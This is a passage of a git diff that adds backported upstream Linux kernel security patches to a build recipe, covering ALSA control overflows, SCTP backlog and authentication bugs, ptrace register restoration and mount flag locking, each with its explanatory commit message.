for replacing user +controls. The first is that the code does not check if the control is actually a +user control and neither does it check if the control is owned by the process +that tries to remove it. That allows userspace applications to remove arbitrary +controls, which can cause a user after free if a for example a driver does not +expect a control to be removed from under its feed. + +The second issue is that on one hand when a control is replaced the +user_ctl_count limit is not checked and on the other hand the user_ctl_count is +increased (even though the number of user controls does not change). This allows +userspace, once the user_ctl_count limit as been reached, to repeatedly replace +a control until user_ctl_count overflows. Once that happens new controls can be +added effectively bypassing the user_ctl_count limit. + +Both issues can be fixed by instead of open-coding the removal of the control +that is to be replaced to use snd_ctl_remove_user_ctl(). This function does +proper permission checks as well as decrements user_ctl_count after the control +has been removed. + +Note that by using snd_ctl_remove_user_ctl() the check which returns -EBUSY at +beginning of the function if the control already exists is removed. This is not +a problem though since the check is quite useless, because the lock that is +protecting the control list is released between the check and before adding the +new control to the list, which means that it is possible that a different +control with the same settings is added to the list after the check. Luckily +there is another check that is done while holding the lock in snd_ctl_add(), so +we'll rely on that to make sure that the same control is not added twice. + +Signed-off-by: Lars-Peter Clausen +Acked-by: Jaroslav Kysela +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/control.c | 25 +++++++++---------------- + 1 file changed, 9 insertions(+), 16 deletions(-) + +diff --git a/sound/core/control.c b/sound/core/control.c +index 183fab277b696..15bc844927469 100644 +--- a/sound/core/control.c ++++ b/sound/core/control.c +@@ -1155,8 +1155,6 @@ static int snd_ctl_elem_add(struct snd_ctl_file *file, + struct user_element *ue; + int idx, err; + +- if (!replace && card->user_ctl_count >= MAX_USER_CONTROLS) +- return -ENOMEM; + if (info->count < 1) + return -EINVAL; + access = info->access == 0 ? SNDRV_CTL_ELEM_ACCESS_READWRITE : +@@ -1165,21 +1163,16 @@ static int snd_ctl_elem_add(struct snd_ctl_file *file, + SNDRV_CTL_ELEM_ACCESS_TLV_READWRITE)); + info->id.numid = 0; + memset(&kctl, 0, sizeof(kctl)); +- down_write(&card->controls_rwsem); +- _kctl = snd_ctl_find_id(card, &info->id); +- err = 0; +- if (_kctl) { +- if (replace) +- err = snd_ctl_remove(card, _kctl); +- else +- err = -EBUSY; +- } else { +- if (replace) +- err = -ENOENT; ++ ++ if (replace) { ++ err = snd_ctl_remove_user_ctl(file, &info->id); ++ if (err) ++ return err; + } +- up_write(&card->controls_rwsem); +- if (err < 0) +- return err; ++ ++ if (card->user_ctl_count >= MAX_USER_CONTROLS) ++ return -ENOMEM; ++ + memcpy(&kctl.id, &info->id, sizeof(info->id)); + kctl.count = info->owner ? info->owner : 1; + access |= SNDRV_CTL_ELEM_ACCESS_USER; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0078-7fba24c6c99b-ALSA control Make sure that idindex does not overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0078-7fba24c6c99b-ALSA control Make sure that idindex does not overflow.patch new file mode 100644 index 0000000..2ff83b2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0078-7fba24c6c99b-ALSA control Make sure that idindex does not overflow.patch @@ -0,0 +1,39 @@ +From 7fba24c6c99b514716fd069094799df035f46054 Mon Sep 17 00:00:00 2001 +From: Lars-Peter Clausen +Date: Wed, 18 Jun 2014 13:32:35 +0200 +Subject: ALSA: control: Make sure that id->index does not overflow + +commit 883a1d49f0d77d30012f114b2e19fc141beb3e8e upstream. + +The ALSA control code expects that the range of assigned indices to a control is +continuous and does not overflow. Currently there are no checks to enforce this. +If a control with a overflowing index range is created that control becomes +effectively inaccessible and unremovable since snd_ctl_find_id() will not be +able to find it. This patch adds a check that makes sure that controls with a +overflowing index range can not be created. + +Signed-off-by: Lars-Peter Clausen +Acked-by: Jaroslav Kysela +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/control.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/sound/core/control.c b/sound/core/control.c +index 93215b4bec6bc..98a29b26c5f41 100644 +--- a/sound/core/control.c ++++ b/sound/core/control.c +@@ -343,6 +343,9 @@ int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol) + if (snd_BUG_ON(!card || !kcontrol->info)) + goto error; + id = kcontrol->id; ++ if (id.index > UINT_MAX - kcontrol->count) ++ goto error; ++ + down_write(&card->controls_rwsem); + if (snd_ctl_find_id(card, &id)) { + up_write(&card->controls_rwsem); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0079-0255758b24b9-ALSA control Handle numid overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0079-0255758b24b9-ALSA control Handle numid overflow.patch new file mode 100644 index 0000000..9179b04 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0079-0255758b24b9-ALSA control Handle numid overflow.patch @@ -0,0 +1,42 @@ +From 0255758b24b94398786df97623849a81a7d5b2ef Mon Sep 17 00:00:00 2001 +From: Lars-Peter Clausen +Date: Wed, 18 Jun 2014 13:32:34 +0200 +Subject: ALSA: control: Handle numid overflow + +commit ac902c112d90a89e59916f751c2745f4dbdbb4bd upstream. + +Each control gets automatically assigned its numids when the control is created. +The allocation is done by incrementing the numid by the amount of allocated +numids per allocation. This means that excessive creation and destruction of +controls (e.g. via SNDRV_CTL_IOCTL_ELEM_ADD/REMOVE) can cause the id to +eventually overflow. Currently when this happens for the control that caused the +overflow kctl->id.numid + kctl->count will also over flow causing it to be +smaller than kctl->id.numid. Most of the code assumes that this is something +that can not happen, so we need to make sure that it won't happen + +Signed-off-by: Lars-Peter Clausen +Acked-by: Jaroslav Kysela +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/control.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/sound/core/control.c b/sound/core/control.c +index d4a597fe86e46..93215b4bec6bc 100644 +--- a/sound/core/control.c ++++ b/sound/core/control.c +@@ -289,6 +289,10 @@ static bool snd_ctl_remove_numid_conflict(struct snd_card *card, + { + struct snd_kcontrol *kctl; + ++ /* Make sure that the ids assigned to the control do not wrap around */ ++ if (card->last_numid >= UINT_MAX - count) ++ card->last_numid = 0; ++ + list_for_each_entry(kctl, &card->controls, list) { + if (kctl->id.numid < card->last_numid + 1 + count && + kctl->id.numid + kctl->count > card->last_numid + 1) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0080-a6987bca8054-sctp Fix skackbacklog wraparound problem.patch b/recipes-kernel/linux/linux-bass/autopatcher/0080-a6987bca8054-sctp Fix skackbacklog wraparound problem.patch new file mode 100644 index 0000000..d51d915 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0080-a6987bca8054-sctp Fix skackbacklog wraparound problem.patch @@ -0,0 +1,47 @@ +From a6987bca8054bf0cf9e90a9b0d42486d7bc53d70 Mon Sep 17 00:00:00 2001 +From: Xufeng Zhang +Date: Thu, 12 Jun 2014 10:53:36 +0800 +Subject: sctp: Fix sk_ack_backlog wrap-around problem + +[ Upstream commit d3217b15a19a4779c39b212358a5c71d725822ee ] + +Consider the scenario: +For a TCP-style socket, while processing the COOKIE_ECHO chunk in +sctp_sf_do_5_1D_ce(), after it has passed a series of sanity check, +a new association would be created in sctp_unpack_cookie(), but afterwards, +some processing maybe failed, and sctp_association_free() will be called to +free the previously allocated association, in sctp_association_free(), +sk_ack_backlog value is decremented for this socket, since the initial +value for sk_ack_backlog is 0, after the decrement, it will be 65535, +a wrap-around problem happens, and if we want to establish new associations +afterward in the same socket, ABORT would be triggered since sctp deem the +accept queue as full. +Fix this issue by only decrementing sk_ack_backlog for associations in +the endpoint's list. + +Fix-suggested-by: Neil Horman +Signed-off-by: Xufeng Zhang +Acked-by: Daniel Borkmann +Acked-by: Vlad Yasevich +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/associola.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/net/sctp/associola.c b/net/sctp/associola.c +index 91cfd8f94a19e..229b3c3fb6c98 100644 +--- a/net/sctp/associola.c ++++ b/net/sctp/associola.c +@@ -387,7 +387,7 @@ void sctp_association_free(struct sctp_association *asoc) + /* Only real associations count against the endpoint, so + * don't bother for if this is a temporary association. + */ +- if (!asoc->temp) { ++ if (!list_empty(&asoc->asocs)) { + list_del(&asoc->asocs); + + /* Decrement the backlog value for a TCP-style listening +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0081-8c6fa0a671dc-ptracex86 force IRET path after a ptracestop.patch b/recipes-kernel/linux/linux-bass/autopatcher/0081-8c6fa0a671dc-ptracex86 force IRET path after a ptracestop.patch new file mode 100644 index 0000000..6be8fbc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0081-8c6fa0a671dc-ptracex86 force IRET path after a ptracestop.patch @@ -0,0 +1,79 @@ +From 8c6fa0a671dc12ee3dd658dafbd1d4a7fec2250d Mon Sep 17 00:00:00 2001 +From: Tejun Heo +Date: Thu, 3 Jul 2014 15:43:15 -0400 +Subject: ptrace,x86: force IRET path after a ptrace_stop() + +commit b9cd18de4db3c9ffa7e17b0dc0ca99ed5aa4d43a upstream. + +The 'sysret' fastpath does not correctly restore even all regular +registers, much less any segment registers or reflags values. That is +very much part of why it's faster than 'iret'. + +Normally that isn't a problem, because the normal ptrace() interface +catches the process using the signal handler infrastructure, which +always returns with an iret. + +However, some paths can get caught using ptrace_event() instead of the +signal path, and for those we need to make sure that we aren't going to +return to user space using 'sysret'. Otherwise the modifications that +may have been done to the register set by the tracer wouldn't +necessarily take effect. + +Fix it by forcing IRET path by setting TIF_NOTIFY_RESUME from +arch_ptrace_stop_needed() which is invoked from ptrace_stop(). + +Signed-off-by: Tejun Heo +Reported-by: Andy Lutomirski +Acked-by: Oleg Nesterov +Suggested-by: Linus Torvalds +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/asm/ptrace.h | 16 ++++++++++++++++ + include/linux/ptrace.h | 3 +++ + 2 files changed, 19 insertions(+) + +diff --git a/arch/x86/include/asm/ptrace.h b/arch/x86/include/asm/ptrace.h +index 942a08623a1a0..68e9f007cd4a7 100644 +--- a/arch/x86/include/asm/ptrace.h ++++ b/arch/x86/include/asm/ptrace.h +@@ -232,6 +232,22 @@ static inline unsigned long regs_get_kernel_stack_nth(struct pt_regs *regs, + + #define ARCH_HAS_USER_SINGLE_STEP_INFO + ++/* ++ * When hitting ptrace_stop(), we cannot return using SYSRET because ++ * that does not restore the full CPU state, only a minimal set. The ++ * ptracer can change arbitrary register values, which is usually okay ++ * because the usual ptrace stops run off the signal delivery path which ++ * forces IRET; however, ptrace_event() stops happen in arbitrary places ++ * in the kernel and don't force IRET path. ++ * ++ * So force IRET path after a ptrace stop. ++ */ ++#define arch_ptrace_stop_needed(code, info) \ ++({ \ ++ set_thread_flag(TIF_NOTIFY_RESUME); \ ++ false; \ ++}) ++ + struct user_desc; + extern int do_get_thread_area(struct task_struct *p, int idx, + struct user_desc __user *info); +diff --git a/include/linux/ptrace.h b/include/linux/ptrace.h +index 2e99b8e08770c..bb980ae6d9d36 100644 +--- a/include/linux/ptrace.h ++++ b/include/linux/ptrace.h +@@ -337,6 +337,9 @@ static inline void user_single_step_siginfo(struct task_struct *tsk, + * calling arch_ptrace_stop() when it would be superfluous. For example, + * if the thread has not been back to user mode since the last stop, the + * thread state might indicate that nothing needs to be done. ++ * ++ * This is guaranteed to be invoked once before a task stops for ptrace and ++ * may include arch-specific operations necessary prior to a ptrace stop. + */ + #define arch_ptrace_stop_needed(code, info) (0) + #endif +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0082-495d049f3e49-net sctp inherit authcapable on INIT collisions.patch b/recipes-kernel/linux/linux-bass/autopatcher/0082-495d049f3e49-net sctp inherit authcapable on INIT collisions.patch new file mode 100644 index 0000000..505a573 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0082-495d049f3e49-net sctp inherit authcapable on INIT collisions.patch @@ -0,0 +1,185 @@ +From 495d049f3e499227d28c89800bca27cc726b3bb2 Mon Sep 17 00:00:00 2001 +From: Daniel Borkmann +Date: Tue, 22 Jul 2014 15:22:45 +0200 +Subject: net: sctp: inherit auth_capable on INIT collisions + +[ Upstream commit 1be9a950c646c9092fb3618197f7b6bfb50e82aa ] + +Jason reported an oops caused by SCTP on his ARM machine with +SCTP authentication enabled: + +Internal error: Oops: 17 [#1] ARM +CPU: 0 PID: 104 Comm: sctp-test Not tainted 3.13.0-68744-g3632f30c9b20-dirty #1 +task: c6eefa40 ti: c6f52000 task.ti: c6f52000 +PC is at sctp_auth_calculate_hmac+0xc4/0x10c +LR is at sg_init_table+0x20/0x38 +pc : [] lr : [] psr: 40000013 +sp : c6f538e8 ip : 00000000 fp : c6f53924 +r10: c6f50d80 r9 : 00000000 r8 : 00010000 +r7 : 00000000 r6 : c7be4000 r5 : 00000000 r4 : c6f56254 +r3 : c00c8170 r2 : 00000001 r1 : 00000008 r0 : c6f1e660 +Flags: nZcv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user +Control: 0005397f Table: 06f28000 DAC: 00000015 +Process sctp-test (pid: 104, stack limit = 0xc6f521c0) +Stack: (0xc6f538e8 to 0xc6f54000) +[...] +Backtrace: +[] (sctp_auth_calculate_hmac+0x0/0x10c) from [] (sctp_packet_transmit+0x33c/0x5c8) +[] (sctp_packet_transmit+0x0/0x5c8) from [] (sctp_outq_flush+0x7fc/0x844) +[] (sctp_outq_flush+0x0/0x844) from [] (sctp_outq_uncork+0x24/0x28) +[] (sctp_outq_uncork+0x0/0x28) from [] (sctp_side_effects+0x1134/0x1220) +[] (sctp_side_effects+0x0/0x1220) from [] (sctp_do_sm+0xac/0xd4) +[] (sctp_do_sm+0x0/0xd4) from [] (sctp_assoc_bh_rcv+0x118/0x160) +[] (sctp_assoc_bh_rcv+0x0/0x160) from [] (sctp_inq_push+0x6c/0x74) +[] (sctp_inq_push+0x0/0x74) from [] (sctp_rcv+0x7d8/0x888) + +While we already had various kind of bugs in that area +ec0223ec48a9 ("net: sctp: fix sctp_sf_do_5_1D_ce to verify if +we/peer is AUTH capable") and b14878ccb7fa ("net: sctp: cache +auth_enable per endpoint"), this one is a bit of a different +kind. + +Giving a bit more background on why SCTP authentication is +needed can be found in RFC4895: + + SCTP uses 32-bit verification tags to protect itself against + blind attackers. These values are not changed during the + lifetime of an SCTP association. + + Looking at new SCTP extensions, there is the need to have a + method of proving that an SCTP chunk(s) was really sent by + the original peer that started the association and not by a + malicious attacker. + +To cause this bug, we're triggering an INIT collision between +peers; normal SCTP handshake where both sides intent to +authenticate packets contains RANDOM; CHUNKS; HMAC-ALGO +parameters that are being negotiated among peers: + + ---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------> + <------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------- + -------------------- COOKIE-ECHO --------------------> + <-------------------- COOKIE-ACK --------------------- + +RFC4895 says that each endpoint therefore knows its own random +number and the peer's random number *after* the association +has been established. The local and peer's random number along +with the shared key are then part of the secret used for +calculating the HMAC in the AUTH chunk. + +Now, in our scenario, we have 2 threads with 1 non-blocking +SEQ_PACKET socket each, setting up common shared SCTP_AUTH_KEY +and SCTP_AUTH_ACTIVE_KEY properly, and each of them calling +sctp_bindx(3), listen(2) and connect(2) against each other, +thus the handshake looks similar to this, e.g.: + + ---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------> + <------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------- + <--------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------- + -------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------> + ... + +Since such collisions can also happen with verification tags, +the RFC4895 for AUTH rather vaguely says under section 6.1: + + In case of INIT collision, the rules governing the handling + of this Random Number follow the same pattern as those for + the Verification Tag, as explained in Section 5.2.4 of + RFC 2960 [5]. Therefore, each endpoint knows its own Random + Number and the peer's Random Number after the association + has been established. + +In RFC2960, section 5.2.4, we're eventually hitting Action B: + + B) In this case, both sides may be attempting to start an + association at about the same time but the peer endpoint + started its INIT after responding to the local endpoint's + INIT. Thus it may have picked a new Verification Tag not + being aware of the previous Tag it had sent this endpoint. + The endpoint should stay in or enter the ESTABLISHED + state but it MUST update its peer's Verification Tag from + the State Cookie, stop any init or cookie timers that may + running and send a COOKIE ACK. + +In other words, the handling of the Random parameter is the +same as behavior for the Verification Tag as described in +Action B of section 5.2.4. + +Looking at the code, we exactly hit the sctp_sf_do_dupcook_b() +case which triggers an SCTP_CMD_UPDATE_ASSOC command to the +side effect interpreter, and in fact it properly copies over +peer_{random, hmacs, chunks} parameters from the newly created +association to update the existing one. + +Also, the old asoc_shared_key is being released and based on +the new params, sctp_auth_asoc_init_active_key() updated. +However, the issue observed in this case is that the previous +asoc->peer.auth_capable was 0, and has *not* been updated, so +that instead of creating a new secret, we're doing an early +return from the function sctp_auth_asoc_init_active_key() +leaving asoc->asoc_shared_key as NULL. However, we now have to +authenticate chunks from the updated chunk list (e.g. COOKIE-ACK). + +That in fact causes the server side when responding with ... + + <------------------ AUTH; COOKIE-ACK ----------------- + +... to trigger a NULL pointer dereference, since in +sctp_packet_transmit(), it discovers that an AUTH chunk is +being queued for xmit, and thus it calls sctp_auth_calculate_hmac(). + +Since the asoc->active_key_id is still inherited from the +endpoint, and the same as encoded into the chunk, it uses +asoc->asoc_shared_key, which is still NULL, as an asoc_key +and dereferences it in ... + + crypto_hash_setkey(desc.tfm, &asoc_key->data[0], asoc_key->len) + +... causing an oops. All this happens because sctp_make_cookie_ack() +called with the *new* association has the peer.auth_capable=1 +and therefore marks the chunk with auth=1 after checking +sctp_auth_send_cid(), but it is *actually* sent later on over +the then *updated* association's transport that didn't initialize +its shared key due to peer.auth_capable=0. Since control chunks +in that case are not sent by the temporary association which +are scheduled for deletion, they are issued for xmit via +SCTP_CMD_REPLY in the interpreter with the context of the +*updated* association. peer.auth_capable was 0 in the updated +association (which went from COOKIE_WAIT into ESTABLISHED state), +since all previous processing that performed sctp_process_init() +was being done on temporary associations, that we eventually +throw away each time. + +The correct fix is to update to the new peer.auth_capable +value as well in the collision case via sctp_assoc_update(), +so that in case the collision migrated from 0 -> 1, +sctp_auth_asoc_init_active_key() can properly recalculate +the secret. This therefore fixes the observed server panic. + +Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") +Reported-by: Jason Gunthorpe +Signed-off-by: Daniel Borkmann +Tested-by: Jason Gunthorpe +Cc: Vlad Yasevich +Acked-by: Vlad Yasevich +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/associola.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/sctp/associola.c b/net/sctp/associola.c +index 229b3c3fb6c98..62e86d98bc36c 100644 +--- a/net/sctp/associola.c ++++ b/net/sctp/associola.c +@@ -1213,6 +1213,7 @@ void sctp_assoc_update(struct sctp_association *asoc, + asoc->c = new->c; + asoc->peer.rwnd = new->peer.rwnd; + asoc->peer.sack_needed = new->peer.sack_needed; ++ asoc->peer.auth_capable = new->peer.auth_capable; + asoc->peer.i = new->peer.i; + sctp_tsnmap_init(&asoc->peer.tsn_map, SCTP_TSN_MAP_INITIAL, + asoc->peer.i.initial_tsn, GFP_ATOMIC); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0083-8c30f22757c9-mnt Only change user settable mount flags in remount.patch b/recipes-kernel/linux/linux-bass/autopatcher/0083-8c30f22757c9-mnt Only change user settable mount flags in remount.patch new file mode 100644 index 0000000..4a71a55 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0083-8c30f22757c9-mnt Only change user settable mount flags in remount.patch @@ -0,0 +1,57 @@ +From 8c30f22757c97041750fddce8ea11c6d7231574a Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Mon, 28 Jul 2014 16:26:53 -0700 +Subject: mnt: Only change user settable mount flags in remount + +commit a6138db815df5ee542d848318e5dae681590fccd upstream. + +Kenton Varda discovered that by remounting a +read-only bind mount read-only in a user namespace the +MNT_LOCK_READONLY bit would be cleared, allowing an unprivileged user +to the remount a read-only mount read-write. + +Correct this by replacing the mask of mount flags to preserve +with a mask of mount flags that may be changed, and preserve +all others. This ensures that any future bugs with this mask and +remount will fail in an easy to detect way where new mount flags +simply won't change. + +Acked-by: Serge E. Hallyn +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Greg Kroah-Hartman +--- + fs/namespace.c | 2 +- + include/linux/mount.h | 4 +++- + 2 files changed, 4 insertions(+), 2 deletions(-) + +diff --git a/fs/namespace.c b/fs/namespace.c +index a45ba4f267fe6..a438e4c81b0b8 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -1805,7 +1805,7 @@ static int do_remount(struct path *path, int flags, int mnt_flags, + err = do_remount_sb(sb, flags, data, 0); + if (!err) { + br_write_lock(&vfsmount_lock); +- mnt_flags |= mnt->mnt.mnt_flags & MNT_PROPAGATION_MASK; ++ mnt_flags |= mnt->mnt.mnt_flags & ~MNT_USER_SETTABLE_MASK; + mnt->mnt.mnt_flags = mnt_flags; + br_write_unlock(&vfsmount_lock); + } +diff --git a/include/linux/mount.h b/include/linux/mount.h +index 73005f9957ead..16fc05d816d4a 100644 +--- a/include/linux/mount.h ++++ b/include/linux/mount.h +@@ -42,7 +42,9 @@ struct mnt_namespace; + * flag, consider how it interacts with shared mounts. + */ + #define MNT_SHARED_MASK (MNT_UNBINDABLE) +-#define MNT_PROPAGATION_MASK (MNT_SHARED | MNT_UNBINDABLE) ++#define MNT_USER_SETTABLE_MASK (MNT_NOSUID | MNT_NODEV | MNT_NOEXEC \ ++ | MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME \ ++ | MNT_READONLY) + + + #define MNT_INTERNAL 0x4000 +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0084-81d4c13ebbdc-mnt Move the test for MNTLOCKREADONLY from changemountflags into.patch b/recipes-kernel/linux/linux-bass/autopatcher/0084-81d4c13ebbdc-mnt Move the test for MNTLOCKREADONLY from changemountflags into.patch new file mode 100644 index 0000000..c88bb53 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0084-81d4c13ebbdc-mnt Move the test for MNTLOCKREADONLY from changemountflags into.patch @@ -0,0 +1,57 @@ +From 81d4c13ebbdcb69b2d56b3bc5e626b1a881421cf Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Mon, 28 Jul 2014 17:10:56 -0700 +Subject: mnt: Move the test for MNT_LOCK_READONLY from change_mount_flags into + do_remount + +commit 07b645589dcda8b7a5249e096fece2a67556f0f4 upstream. + +There are no races as locked mount flags are guaranteed to never change. + +Moving the test into do_remount makes it more visible, and ensures all +filesystem remounts pass the MNT_LOCK_READONLY permission check. This +second case is not an issue today as filesystem remounts are guarded +by capable(CAP_DAC_ADMIN) and thus will always fail in less privileged +mount namespaces, but it could become an issue in the future. + +Acked-by: Serge E. Hallyn +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Greg Kroah-Hartman +--- + fs/namespace.c | 13 ++++++++++--- + 1 file changed, 10 insertions(+), 3 deletions(-) + +diff --git a/fs/namespace.c b/fs/namespace.c +index a438e4c81b0b8..515cbff64c937 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -1764,9 +1764,6 @@ static int change_mount_flags(struct vfsmount *mnt, int ms_flags) + if (readonly_request == __mnt_is_readonly(mnt)) + return 0; + +- if (mnt->mnt_flags & MNT_LOCK_READONLY) +- return -EPERM; +- + if (readonly_request) + error = mnt_make_readonly(real_mount(mnt)); + else +@@ -1792,6 +1789,16 @@ static int do_remount(struct path *path, int flags, int mnt_flags, + if (path->dentry != path->mnt->mnt_root) + return -EINVAL; + ++ /* Don't allow changing of locked mnt flags. ++ * ++ * No locks need to be held here while testing the various ++ * MNT_LOCK flags because those flags can never be cleared ++ * once they are set. ++ */ ++ if ((mnt->mnt.mnt_flags & MNT_LOCK_READONLY) && ++ !(mnt_flags & MNT_READONLY)) { ++ return -EPERM; ++ } + err = security_sb_remount(sb, data); + if (err) + return err; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0085-187985d9395c-mnt Correct permission checks in doremount.patch b/recipes-kernel/linux/linux-bass/autopatcher/0085-187985d9395c-mnt Correct permission checks in doremount.patch new file mode 100644 index 0000000..d2e5e17 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0085-187985d9395c-mnt Correct permission checks in doremount.patch @@ -0,0 +1,131 @@ +From 187985d9395c7c093e9a565c87c6547c16009ddf Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Mon, 28 Jul 2014 17:26:07 -0700 +Subject: mnt: Correct permission checks in do_remount + +commit 9566d6742852c527bf5af38af5cbb878dad75705 upstream. + +While invesgiating the issue where in "mount --bind -oremount,ro ..." +would result in later "mount --bind -oremount,rw" succeeding even if +the mount started off locked I realized that there are several +additional mount flags that should be locked and are not. + +In particular MNT_NOSUID, MNT_NODEV, MNT_NOEXEC, and the atime +flags in addition to MNT_READONLY should all be locked. These +flags are all per superblock, can all be changed with MS_BIND, +and should not be changable if set by a more privileged user. + +The following additions to the current logic are added in this patch. +- nosuid may not be clearable by a less privileged user. +- nodev may not be clearable by a less privielged user. +- noexec may not be clearable by a less privileged user. +- atime flags may not be changeable by a less privileged user. + +The logic with atime is that always setting atime on access is a +global policy and backup software and auditing software could break if +atime bits are not updated (when they are configured to be updated), +and serious performance degradation could result (DOS attack) if atime +updates happen when they have been explicitly disabled. Therefore an +unprivileged user should not be able to mess with the atime bits set +by a more privileged user. + +The additional restrictions are implemented with the addition of +MNT_LOCK_NOSUID, MNT_LOCK_NODEV, MNT_LOCK_NOEXEC, and MNT_LOCK_ATIME +mnt flags. + +Taken together these changes and the fixes for MNT_LOCK_READONLY +should make it safe for an unprivileged user to create a user +namespace and to call "mount --bind -o remount,... ..." without +the danger of mount flags being changed maliciously. + +Acked-by: Serge E. Hallyn +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Greg Kroah-Hartman +--- + fs/namespace.c | 36 +++++++++++++++++++++++++++++++++--- + include/linux/mount.h | 5 +++++ + 2 files changed, 38 insertions(+), 3 deletions(-) + +diff --git a/fs/namespace.c b/fs/namespace.c +index 515cbff64c937..99748ff4065fc 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -828,8 +828,21 @@ static struct mount *clone_mnt(struct mount *old, struct dentry *root, + + mnt->mnt.mnt_flags = old->mnt.mnt_flags & ~MNT_WRITE_HOLD; + /* Don't allow unprivileged users to change mount flags */ +- if ((flag & CL_UNPRIVILEGED) && (mnt->mnt.mnt_flags & MNT_READONLY)) +- mnt->mnt.mnt_flags |= MNT_LOCK_READONLY; ++ if (flag & CL_UNPRIVILEGED) { ++ mnt->mnt.mnt_flags |= MNT_LOCK_ATIME; ++ ++ if (mnt->mnt.mnt_flags & MNT_READONLY) ++ mnt->mnt.mnt_flags |= MNT_LOCK_READONLY; ++ ++ if (mnt->mnt.mnt_flags & MNT_NODEV) ++ mnt->mnt.mnt_flags |= MNT_LOCK_NODEV; ++ ++ if (mnt->mnt.mnt_flags & MNT_NOSUID) ++ mnt->mnt.mnt_flags |= MNT_LOCK_NOSUID; ++ ++ if (mnt->mnt.mnt_flags & MNT_NOEXEC) ++ mnt->mnt.mnt_flags |= MNT_LOCK_NOEXEC; ++ } + + atomic_inc(&sb->s_active); + mnt->mnt.mnt_sb = sb; +@@ -1799,6 +1812,23 @@ static int do_remount(struct path *path, int flags, int mnt_flags, + !(mnt_flags & MNT_READONLY)) { + return -EPERM; + } ++ if ((mnt->mnt.mnt_flags & MNT_LOCK_NODEV) && ++ !(mnt_flags & MNT_NODEV)) { ++ return -EPERM; ++ } ++ if ((mnt->mnt.mnt_flags & MNT_LOCK_NOSUID) && ++ !(mnt_flags & MNT_NOSUID)) { ++ return -EPERM; ++ } ++ if ((mnt->mnt.mnt_flags & MNT_LOCK_NOEXEC) && ++ !(mnt_flags & MNT_NOEXEC)) { ++ return -EPERM; ++ } ++ if ((mnt->mnt.mnt_flags & MNT_LOCK_ATIME) && ++ ((mnt->mnt.mnt_flags & MNT_ATIME_MASK) != (mnt_flags & MNT_ATIME_MASK))) { ++ return -EPERM; ++ } ++ + err = security_sb_remount(sb, data); + if (err) + return err; +@@ -1998,7 +2028,7 @@ static int do_new_mount(struct path *path, const char *fstype, int flags, + */ + if (!(type->fs_flags & FS_USERNS_DEV_MOUNT)) { + flags |= MS_NODEV; +- mnt_flags |= MNT_NODEV; ++ mnt_flags |= MNT_NODEV | MNT_LOCK_NODEV; + } + } + +diff --git a/include/linux/mount.h b/include/linux/mount.h +index 16fc05d816d4a..8eeb8f6ab1101 100644 +--- a/include/linux/mount.h ++++ b/include/linux/mount.h +@@ -46,9 +46,14 @@ struct mnt_namespace; + | MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME \ + | MNT_READONLY) + ++#define MNT_ATIME_MASK (MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME ) + + #define MNT_INTERNAL 0x4000 + ++#define MNT_LOCK_ATIME 0x040000 ++#define MNT_LOCK_NOEXEC 0x080000 ++#define MNT_LOCK_NOSUID 0x100000 ++#define MNT_LOCK_NODEV 0x200000 + #define MNT_LOCK_READONLY 0x400000 + + struct vfsmount { +-- +cgit 1.2.3-1.el7 + diff --git 